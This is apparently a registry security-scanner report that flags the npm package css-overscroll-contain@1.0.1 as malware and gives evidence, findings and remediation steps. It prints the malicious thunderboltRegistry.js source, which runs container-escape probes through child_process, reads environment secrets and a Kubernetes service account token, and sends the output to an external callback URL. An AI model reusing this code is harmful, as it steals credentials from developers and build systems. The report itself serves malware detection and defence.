registry / Credential exfiltration / css-overscroll-contain / 1.0.1

css-overscroll-contain@1.0.1

CSS overscroll-behavior containment utility

AI Security Review

scanned 14d ago · by lpm-firewall-ai

The registry module contains active credential collection and transmission to an unrelated fixed endpoint. The lack of lifecycle hooks does not neutralize behavior triggered by loading that published module.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js.

Impact

Sensitive environment and service account data may be disclosed to the callback operator; the module also probes container isolation and escape-related capabilities.

Mechanism

The module runs shell commands through child_process and transmits their output with fetch to a fixed callback URL.

Attack narrative

When thunderboltRegistry.js is loaded, it executes shell probes, gathers matching environment variables and a Kubernetes service account token, and sends results to a fixed external callback. This is active data exfiltration behavior.

AI rationale

Evidence

thunderboltRegistry.js

Network endpoints1

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The published registry module immediately runs shell-based environment and container probes and tries to load child_process.
The module sends collected data to a fixed external callback.
It collects environment values matching key and token patterns and reads the Kubernetes service account token.

Evidence against

The package manifest has no lifecycle hooks, and its declared main entry is index.js.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 6.92 KB of source, external domains: dxpoc.gt.tc

Source & flagged code

5 flagged

thunderboltRegistry.jsView file

Lines 1-75javascript

1(function(){

2 var wh = "https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";

3 var cp = null;

4 try { cp = require("child_process"); } catch(e) {}

5 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

6 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

8 function run(cmd, t) {

9 try { return cp.execSync(cmd, {encoding:'utf8', timeout: t||12000}).trim(); }

10 catch(e) { return 'ERR:' + (e.stderr||e.message||'').substring(0,400); }

11 }

13 function exfil(tag, data) {

14 try {

15 var d = typeof data === 'string' ? data : JSON.stringify(data);

16 fetch(wh + "?tag=" + encodeURIComponent(tag) + "&d=" + encodeURIComponent(d.substring(0,3500)) + "&t=" + Date.now()).catch(function

17 } catch(e) {

High

Ai Review Evidence

The module sends collected data to a fixed external callback.

thunderboltRegistry.jsView on unpkg · L13

18 try {

19 var https = require("https");

20 https.get(wh + "?tag=" + encodeURIComponent(tag) + "&d=" + encodeURIComponent(d.substring(0,2000)) + "&t=" + Date.now());

21 } catch(e2) {}

22 }

23 }

25 if (cp && typeof cp.execSync === "function") {

26 var R = {};

28 // BEACON

29 R.beacon = run("id;echo ---;uname -a;echo ---;cat /proc/self/status|grep -iE '(cap|seccomp)';echo ---;ls -la /proc/self/ns/");

30 exfil("esc-beacon", R.beacon);

32 // FD MAP (find gofer sockets, donated dir FDs)

33 R.fds = run("perl -e 'use Socket;for my $fd(0..80){my $l=readlink(\"/proc/self/fd/$fd\")//next;my $e=\"\";if($l=~/socket/){eval{my $t=getsockopt($fd,SOL_SOCKET,SO_TYPE);$e.=\" T=\".unpack(\"i\",$t)};eval{my $p=getsockopt($fd,SOL_SOCKET,17);my($pid,$uid,$gid)=unpack(\"iii\",$p);$e.=\" PEER=$pid/$uid/$gid\" if length($p)>=12}}elsif(-d \"/proc/self/fd/$fd\"

36 // MKNOD CUSE + FUSE + devices

37 R.mknod = run("perl -e 'use POSIX;for my $d([\"cuse\",10,203],[\"fuse\",10,229],[\"null\",1,3]){my($n,$maj,$min)=@$d;unlink \"/tmp/_$n\";my $r=syscall(259,-100,\"/tmp/_$n\",0666|0020000,$maj*256+$min);printf \"mknod(%s %d:%d)=%d e=%s\\n\",$n,$maj,$min,$r,$!;if(-e

38 exfil("esc-mknod", R.mknod);

40 // MOUNT TYPE SCAN

41 R.mounts = run("unshare --user --mount --map-root-user sh -c 'mkdir -p /tmp/_mt;for fs in proc sysfs tmpfs devtmpfs devpts cgroup cgroup2 binfmt_misc fusectl debugfs tracefs overlay ramfs;do mount -t $fs $fs /tmp/_mt 2>/dev/null&&echo \"$fs:OK\"&&umount /tmp/_mt||echo \"$fs:FAIL\";done'", 20000);

42 exfil("esc-mounts", R.mounts);

44 // MEMFD + EXEC

45 R.memfd = run("perl -e 'my $fd=syscall(319,\"p\\0\",0);print \"memfd=$fd e=$!\\n\";if($fd>=0){syswrite($fd,\"#!/bin/sh\\necho MFD_OK;id;cat /proc/self/status|head -15\\n\");chmod 0755,\"/proc/self/fd/$fd\";print qx{/proc/self/fd/$fd 2>&1}}'");

46 exfil("esc-memfd", R.memfd);

48 // ROOT TRAVERSAL (check if inode changes at different depths)

49 R.roots = run("perl -e 'for my $d(0..8){my $p=\"/\".\"../\"x$d;my @s=stat($p);printf\"depth=%d ino=%d dev=%x\\n\",$d,$s[1],$s[0]}'");

50 exfil("esc-roots", R.roots);

52 // SYMLINK TRAVERSAL

53 R.symlink = run("perl -e 'use POSIX;for my $t(\"/\",\"/../..\",\"/proc/1/root\",\"/proc/self/root/..\"){symlink($t,\"/tmp/_sl\");my @s=stat(\"/tmp/_sl\");printf\"sym(%s) ino=%d dev=%x\\

54 exfil("esc-symlink", R.symlink);

56 // ENV + SECRETS

58 exfil("esc-env", R.env);

60 // K8S TOKEN

61 R.k8s = run("cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null|head -c 200;echo;ls /var/run/secrets/ 2>/dev/null");

High

Ai Review Evidence

It collects environment values matching key and token patterns and reads the Kubernetes service account token.

thunderboltRegistry.jsView on unpkg · L55

62 exfil("esc-k8s", R.k8s);

64 // NETWORK (internal services, DNS)

65 R.net = run("cat /etc/resolv.conf;echo ---;cat /proc/net/tcp|head -10;echo ---;cat /proc/net/arp 2>/dev/null");

66 exfil("esc-net", R.net);

68 // MOUNTINFO

69 R.mi = run("cat /proc/self/mountinfo");

70 exfil("esc-mountinfo", R.mi);

72 // MKNOD in USERNS

73 R.mknod_ns = run("unshare --user --mount --map-root-user sh -c 'for dev in \"cuse 10 203\" \"fuse 10 229\" \"null 1 3\" \"sda 8 0\";do set -- $dev;mknod /tmp/_dev_$1 c $2 $3 2>&1;echo \"mknod($1,$2,$3)=$?\";ls -la /tmp/_dev_$1 2>/dev/null;rm -f /tmp/_dev_$1;done'");

74 exfil("esc-mknod-ns", R.mknod_ns);

•matchType = normalized_sha256 matchedPackage = util-foriepft@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:dXRpbC1mb3JpZXBmdA:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 695d3e5739ca0025 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = util-foriepft@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:dXRpbC1mb3JpZXBmdA:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

Source & flagged code

5 flagged · loading source

thunderboltRegistry.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

1(function(){ var wh = "https://dxpoc.gt.tc/callback.[redacted]"; var cp = null; try { cp = require("child_process"); } catch(e) {} try { if (!cp) cp = require("node:child_process"); } catch(e) {} try { if (!cp && m

Findings

5 High1 Medium2 Low

HighKnown Malware Source SimilaritythunderboltRegistry.js

HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js

HighAi Review EvidencethunderboltRegistry.js

MediumNetwork

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to css-overscroll-contain@1.0.1.

See all versions of css-overscroll-contain for other recorded verdicts.

Avoid installing css-overscroll-contain@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-09 03:48:49.909Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages